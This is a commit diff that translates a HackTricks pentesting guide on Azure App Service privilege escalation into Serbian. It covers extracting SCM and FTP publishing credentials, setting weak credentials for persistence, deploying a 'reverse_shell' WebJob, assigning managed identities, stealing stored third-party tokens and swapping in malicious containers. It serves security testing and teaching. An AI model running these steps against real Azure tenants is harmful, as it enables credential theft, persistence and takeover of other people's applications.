Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-05-09 11:19:29 +00:00
parent 918cbd9ef2
commit d8d93dcd93
7 changed files with 407 additions and 773 deletions

View File

@@ -425,6 +425,7 @@
- [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md)
- [Az - Logic Apps](pentesting-cloud/azure-security/az-services/az-logic-apps.md)
- [Az - Management Groups, Subscriptions & Resource Groups](pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md)
- [Az - Misc](pentesting-cloud/azure-security/az-services/az-misc.md)
- [Az - Monitoring](pentesting-cloud/azure-security/az-services/az-monitoring.md)
- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql.md)
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql.md)

BIN
src/images/lasttower.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 68 KiB

View File

@@ -4,7 +4,7 @@
## App Services
For more information about Azure App services check:
Za više informacija o Azure App uslugama pogledajte:
{{#ref}}
../az-services/az-app-services.md
@@ -12,17 +12,14 @@ For more information about Azure App services check:
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
These permissions allow to get a **SSH shell** inside a web app. They also allow to **debug** the application.
- **SSH in single command**:
Ove dozvole omogućavaju pristup **SSH shell-u** unutar web aplikacije. Takođe omogućavaju **debug** aplikacije.
- **SSH u jednoj komandi**:
```bash
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
```
- **Create tunnel and then connect to SSH**:
- **Kreirajte tunel i zatim se povežite na SSH**:
```bash
az webapp create-remote-connection --name <name> --resource-group <res-group>
@@ -35,152 +32,146 @@ az webapp create-remote-connection --name <name> --resource-group <res-group>
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
```
- **Debug the application**:
1. Install the Azure extension in VScode.
2. Login in the extension with the Azure account.
3. List all the App services inside the subscription.
4. Select the App service you want to debug, right click and select "Start Debugging".
5. If the app doesn't have debugging enabled, the extension will try to enable it but your account needs the permission `Microsoft.Web/sites/config/write` to do so.
1. Instalirajte Azure ekstenziju u VScode.
2. Prijavite se u ekstenziju sa Azure nalogom.
3. Ispisujte sve App usluge unutar pretplate.
4. Izaberite App uslugu koju želite da debagujete, desni klik i izaberite "Start Debugging".
5. Ako aplikacija nema omogućeno debagovanje, ekstenzija će pokušati da ga omogući, ali vaš nalog treba da ima dozvolu `Microsoft.Web/sites/config/write` da bi to uradio.
### Obtaining SCM Credentials & Enabling Basic Authentication
To obtain the SCM credentials, you can use the following **commands and permissions**:
- The permission **`Microsoft.Web/sites/publishxml/action`** allows to call:
Da biste dobili SCM akreditive, možete koristiti sledeće **komande i dozvole**:
- Dozvola **`Microsoft.Web/sites/publishxml/action`** omogućava pozivanje:
```bash
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]
```
Napomena kako je **korisničko ime uvek isto** (osim u FTP-u gde se na početku dodaje ime aplikacije) ali je **lozinka ista** za sve njih.
Note how the **username is always the same** (except in FTP which ads the name of the app at the beginning) but the **password is the same** for all of them.
Moreover, the **SCM URL is `<app-name>.scm.azurewebsites.net`**.
- The permission **`Microsoft.Web/sites/config/list/action`** allows to call:
Pored toga, **SCM URL je `<app-name>.scm.azurewebsites.net`**.
- Dozvola **`Microsoft.Web/sites/config/list/action`** omogućava pozivanje:
```bash
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}
```
Napomena kako su **akreditivi isti** kao u prethodnoj komandi.
Note how the **credentials are the same** as in the previous command.
- Another option would be to **set you own creds** and use them:
- Druga opcija bi bila da **postavite svoje akreditive** i koristite ih:
```bash
# Show if any user is configured (password won't be shown)
az webapp deployment user show
# Set your own credentials
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp
```
Zatim, možete koristiti ove kredencijale da **pristupite SCM i FTP platformama**. Ovo je takođe odličan način za održavanje postojanosti.
Then, you can use this credentials to **access the SCM and FTP platforms**. This is also a great way to maintain persistence.
Remember that to access the SCM platform from the **web you need to access to `<SCM-URL>/BasicAuth`**.
Zapamtite da za pristup SCM platformi sa **veb-a morate pristupiti `<SCM-URL>/BasicAuth`**.
> [!WARNING]
> Note that every user can configure it's own credentials calling the previous command, but if the user doesn't have enough permissions to access the SCM or FTP, the credentials won't work.
- If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`):
> Imajte na umu da svaki korisnik može konfigurisati svoje kredencijale pozivajući prethodnu komandu, ali ako korisnik nema dovoljno dozvola za pristup SCM ili FTP, kredencijali neće raditi.
- Ako vidite da su ti kredencijali **REDAKTOVANI**, to je zato što **morate omogućiti opciju osnovne autentifikacije za SCM** i za to vam je potrebna druga dozvola (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`):
```bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
```
### Objavite kod koristeći SCM akreditive
### Publish code using SCM credentials
Samo sa validnim SCM akreditivima moguće je **objaviti kod** na App servisu. To se može uraditi koristeći sledeću komandu.
Just having valid SCM credentials it's possible to **publish code** to the App service. This can be done using the following command.
For this python example you can download the repo from https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, do any **changes** you wish and then **zip it running: `zip -r app.zip .`**.
Then you can **publish the code** in a web app with the following command:
Za ovaj python primer možete preuzeti repozitorijum sa https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, napraviti bilo kakve **promene** koje želite i zatim **zipovati pokretanjem: `zip -r app.zip .`**.
Zatim možete **objaviti kod** u web aplikaciji sa sledećom komandom:
```bash
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
```
### Webjobs: Microsoft.Web/sites/publish/Action | SCM kredencijali
### Webjobs: Microsoft.Web/sites/publish/Action | SCM credentials
The mentioned Azure permission allows to perform several interesting actions that can also be performed with the SCM credentials:
- Read **Webjobs** logs:
Pomenuta Azure dozvola omogućava izvođenje nekoliko zanimljivih akcija koje se takođe mogu izvesti sa SCM kredencijalima:
- Čitaj **Webjobs** logove:
```bash
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
@@ -188,123 +179,108 @@ az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.az
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
--user '<username>:<password>' -v
```
- Read **Webjobs** source code:
- Pročitajte **Webjobs** izvorni kod:
```bash
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'
--user '<username>:<password>'
# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
--user '<username>:<password>'
```
- Create **continuous Webjob**:
- Kreirajte **kontinuirani Webjob**:
```bash
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"
# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
```
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
These permissions allow to **assign a managed identity** to the App service, so if an App service was previously compromised this will allow the attacker to assign new managed identities to the App service and **escalate privileges** to them.
Ove dozvole omogućavaju da se **dodeli upravljana identitet** servisu aplikacije, tako da ako je servis aplikacije prethodno kompromitovan, ovo će omogućiti napadaču da dodeli nove upravljane identitete servisu aplikacije i **poveća privilegije** za njih.
```bash
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
```
### Microsoft.Web/sites/config/list/action
This permission allows to list the **connection strings** and the **appsettings** of the App service which might contain sensitive information like database credentials.
Ova dozvola omogućava listanje **connection strings** i **appsettings** App servisa koji mogu sadržati osetljive informacije kao što su kredencijali za bazu podataka.
```bash
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
```
### Pročitajte Konfigurisane Akreditive Treće Strane
### Read Configured Third Party Credentials
Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.
Pokretanjem sledeće komande moguće je **pročitati akreditive treće strane** konfigurisane u trenutnom nalogu. Imajte na umu da, na primer, ako su neki Github akreditive konfigurisani za drugog korisnika, nećete moći da pristupite tokenu iz drugog.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
Ova komanda vraća tokene za Github, Bitbucket, Dropbox i OneDrive.
This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.
Here you have some command examples to check the tokens:
Evo nekoliko primera komandi za proveru tokena:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Ažuriranje koda aplikacije iz izvora
### Update App Code from the source
- If the configured source is a third-party provider like Github, BitBucket or an Azure Repository, you can **update the code** of the App service by compromising the source code in the repository.
- If the app is configured using a **remote git repository** (with username and password), it's possible to get the **URL and basic auth credentials** to clone and push changes with:
- Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
- Using the permission **`Microsoft.Web/sites/config/list/action`**:
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- If the app is configured to use a **local git repository**, it's possible to **clone the repository** and **push changes** to it:
- Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: You can get the URL of the git repo with `az webapp deployment source show --name <app-name> --resource-group <res-group>`, but it's going to be the same as the the SCM URL of the app with the path `/<app-name>.git` (e.g. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`).
- To get the SCM credential you need the permission:
- **`Microsoft.Web/sites/publishxml/action`**: Then run `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`.
- **`Microsoft.Web/sites/config/list/action`**: Then run `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>`
- Ako je konfigurisan izvor treće strane kao što su Github, BitBucket ili Azure Repository, možete **ažurirati kod** usluge aplikacije kompromitovanjem izvornog koda u repozitorijumu.
- Ako je aplikacija konfigurisana koristeći **daljinski git repozitorij** (sa korisničkim imenom i lozinkom), moguće je dobiti **URL i osnovne autentifikacione podatke** za kloniranje i slanje izmena sa:
- Koristeći dozvolu **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
- Koristeći dozvolu **`Microsoft.Web/sites/config/list/action`**:
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- Ako je aplikacija konfigurisana da koristi **lokalni git repozitorij**, moguće je **klonirati repozitorij** i **slati izmene** u njega:
- Koristeći dozvolu **`Microsoft.Web/sites/sourcecontrols/read`**: Možete dobiti URL git repozitorijuma sa `az webapp deployment source show --name <app-name> --resource-group <res-group>`, ali će to biti isto kao SCM URL aplikacije sa putanjom `/<app-name>.git` (npr. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`).
- Da biste dobili SCM akreditive, potrebna vam je dozvola:
- **`Microsoft.Web/sites/publishxml/action`**: Zatim pokrenite `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`.
- **`Microsoft.Web/sites/config/list/action`**: Zatim pokrenite `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>`
> [!WARNING]
> Note that having the permission `Microsoft.Web/sites/config/list/action` and the SCM credentials it's always possible to deploy into a webapp (even if it was configured to use a third-party provider) as mentioned in a previous section.
> Imajte na umu da je, imajući dozvolu `Microsoft.Web/sites/config/list/action` i SCM akreditive, uvek moguće implementirati u webapp (čak i ako je konfigurisana da koristi treću stranu) kao što je pomenuto u prethodnom odeljku.
> [!WARNING]
> Note that having the permissions below it's also **possible to execute an arbitrary container** even if the webapp was configured differently.
> Imajte na umu da je, imajući dozvole u nastavku, takođe **moguće izvršiti proizvoljni kontejner** čak i ako je webapp konfigurisana drugačije.
### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read`
This is the set of permissions that allows to **modify the container used** by a webapp. An attacker could abuse it to make a webapp execute a malicious container.
Ovo je skup dozvola koji omogućava **modifikaciju kontejnera koji se koristi** od strane webapp-a. Napadač bi mogao da ga zloupotrebi da natera webapp da izvrši zlonamerni kontejner.
```bash
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Osnovne informacije o App Service
## App Service Basic Information
Azure App Services omogućava programerima da **prave, implementiraju i skaliraju web aplikacije, mobilne aplikacije i API-je bez problema**. Podržava više programskih jezika i integriše se sa raznim Azure alatima i uslugama za poboljšanu funkcionalnost i upravljanje.
@@ -13,7 +13,7 @@ Svaka aplikacija radi unutar sandbox-a, ali izolacija zavisi od App Service plan
- Izolovani nivoi rade na **posvećenim VM-ovima na posvećenim virtuelnim mrežama**, poboljšavajući izolaciju aplikacija.
> [!WARNING]
> Imajte na umu da **nijedna** od tih izolacija **ne sprečava** druge uobičajene **web ranjivosti** (kao što su upload fajlova ili injekcije). A ako se koristi **identitet za upravljanje**, može biti u mogućnosti da **poveća privilegije na njih**.
> Imajte na umu da **nijedna** od tih izolacija **ne sprečava** druge uobičajene **web ranjivosti** (kao što su upload fajlova ili injekcije). I ako se koristi **identitet za upravljanje**, može biti u mogućnosti da **poveća privilegije na njih**.
Aplikacije imaju neke zanimljive konfiguracije:
@@ -25,10 +25,11 @@ Aplikacije imaju neke zanimljive konfiguracije:
- URL koji sadrži kredencijale za bazu podataka i Redis biće sačuvan u **appsettings**.
- **Container**: Moguće je implementirati kontejner na App Service tako što ćete navesti URL kontejnera i kredencijale za pristup.
- **Mounts**: Moguće je kreirati 5 mount-ova iz Storage naloga, a to su Azure Blob (samo za čitanje) ili Azure Files. Konfiguracija će sačuvati pristupni ključ preko Storage naloga.
- **Networking**: Može biti javno dostupno ili samo dostupno privatnim krajnjim tačkama iz VNet-a.
## Osnovna autentifikacija
## Basic Authentication
Kada kreirate web aplikaciju (i obično Azure funkciju), moguće je naznačiti da li želite da **osnovna autentifikacija bude omogućena** (podrazumevano onemogućena). Ovo u suštini **omogućava SCM (Source Control Manager) i FTP (File Transfer Protocol)** za aplikaciju, tako da će biti moguće implementirati aplikaciju koristeći te tehnologije.
Kada kreirate web aplikaciju (i Azure funkciju obično), moguće je naznačiti da želite da **osnovna autentifikacija bude omogućena** (podrazumevano onemogućena). Ovo u suštini **omogućava SCM (Source Control Manager) i FTP (File Transfer Protocol)** za aplikaciju, tako da će biti moguće implementirati aplikaciju koristeći te tehnologije.
Da biste pristupili SCM i FTP serverima, potrebni su **korisničko ime i lozinka**. Stoga, Azure pruža neke **API-je za dobijanje URL-ova** za te platforme i kredencijale.
@@ -43,18 +44,18 @@ Kudu je platforma koja **upravlja i SCM-om i web i API interfejsom** za upravlja
Imajte na umu da su Kudu verzije koje koriste App Services i Function Apps različite, pri čemu je verzija Function aplikacija mnogo ograničenija.
Neki zanimljivi krajnji tački koje možete pronaći u Kudu su:
- `/BasicAuth`: Morate pristupiti ovom putu da biste **prijavili u Kudu**.
Neki zanimljivi krajnji tačke koje možete pronaći u Kudu su:
- `/BasicAuth`: Morate pristupiti ovom putu da **prijavite u Kudu**.
- `/DebugConsole`: Konzola koja vam omogućava da izvršavate komande u okruženju gde Kudu radi.
- Imajte na umu da ovo okruženje **nema pristup** metapodacima usluge za dobijanje tokena.
- Imajte na umu da ovo okruženje **nema pristup** metapodacima za dobijanje tokena.
- `/webssh/host`: Web-bazirani SSH klijent koji vam omogućava da se povežete unutar kontejnera gde aplikacija radi.
- Ovo okruženje **ima pristup** metapodacima usluge kako bi dobilo tokene od dodeljenih identiteta za upravljanje.
- `/Env`: Dobijte informacije o sistemu, podešavanjima aplikacije, env varijablama, konekcionim stringovima i HTTP header-ima.
- Ovo okruženje **ima pristup** metapodacima kako bi dobilo tokene od dodeljenih upravljanih identiteta.
- `/Env`: Dobijte informacije o sistemu, postavkama aplikacije, env varijablama, konekcionim stringovima i HTTP header-ima.
- `/wwwroot/`: Glavni direktorijum web aplikacije. Možete preuzeti sve fajlove odavde.
Pored toga, Kudu je nekada bio otvoren izvor u [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu), ali je projekat ukinut i upoređujući ponašanje trenutnog Kudu u Azure-u sa starim, moguće je primetiti da su **neke stvari već promenjene**.
## Izvori
## Sources
App Services omogućava da se kod učita kao zip fajl po defaultu, ali takođe omogućava povezivanje sa trećom stranom i dobijanje koda odatle.
@@ -66,22 +67,22 @@ App Services omogućava da se kod učita kao zip fajl po defaultu, ali takođe o
- Takođe je moguće koristiti **Azure Repository**.
- Takođe je moguće konfigurisati **lokalni git repozitorij**.
- Možete dobiti URL git repozitorija sa `az webapp deployment source show --name <app-name> --resource-group <res-group>` i to će biti SCM URL aplikacije.
- Da biste ga klonirali, biće vam potrebni SCM kredencijali koje možete dobiti sa `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`
- Da biste ga klonirali, biće vam potrebne SCM kredencijale koje možete dobiti sa `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`
## Webjobs
Azure WebJobs su **pozadinski zadaci koji se izvršavaju u Azure App Service okruženju**. Omogućavaju programerima da izvršavaju skripte ili programe zajedno sa svojim web aplikacijama, olakšavajući rukovanje asinhronim ili vremenski intenzivnim operacijama kao što su obrada fajlova, rukovanje podacima ili zakazani zadaci.
Postoje 2 tipa web jobova:
- **Kontinuirani**: Radi neprekidno u petlji i aktivira se čim se kreira. Idealno je za zadatke koji zahtevaju konstantno procesiranje. Međutim, ako aplikacija prestane da radi jer je Always On onemogućeno i nije primila zahtev u poslednjih 20 minuta, web job će takođe prestati.
- **Pokrenuti**: Radi na zahtev ili na osnovu rasporeda. Najbolje je prilagođen za periodične zadatke, kao što su ažuriranja podataka ili rutine održavanja.
- **Continuous**: Radi neprekidno u petlji i aktivira se čim se kreira. Idealno je za zadatke koji zahtevaju konstantno procesiranje. Međutim, ako aplikacija prestane da radi jer je Always On onemogućen i nije primila zahtev u poslednjih 20 minuta, web job će takođe prestati.
- **Triggered**: Radi na zahtev ili na osnovu rasporeda. Najbolje je prilagođen za periodične zadatke, kao što su ažuriranja podataka ili rutinske održavanja.
Webjobs su veoma zanimljivi iz perspektive napadača jer se mogu koristiti za **izvršavanje koda** u okruženju i **povećanje privilegija** na dodeljene identitete za upravljanje.
Webjobs su veoma zanimljivi iz perspektive napadača jer se mogu koristiti za **izvršavanje koda** u okruženju i **povećanje privilegija** na dodeljene upravljane identitete.
Pored toga, uvek je zanimljivo proveriti **logove** koje generišu Webjobs jer mogu sadržati **osetljive informacije**.
## Slotovi
## Slots
Azure App Service Slotovi se koriste za **implementaciju različitih verzija aplikacije** na istom App Service-u. Ovo omogućava programerima da testiraju nove funkcije ili promene u odvojenom okruženju pre nego što ih implementiraju u produkciono okruženje.
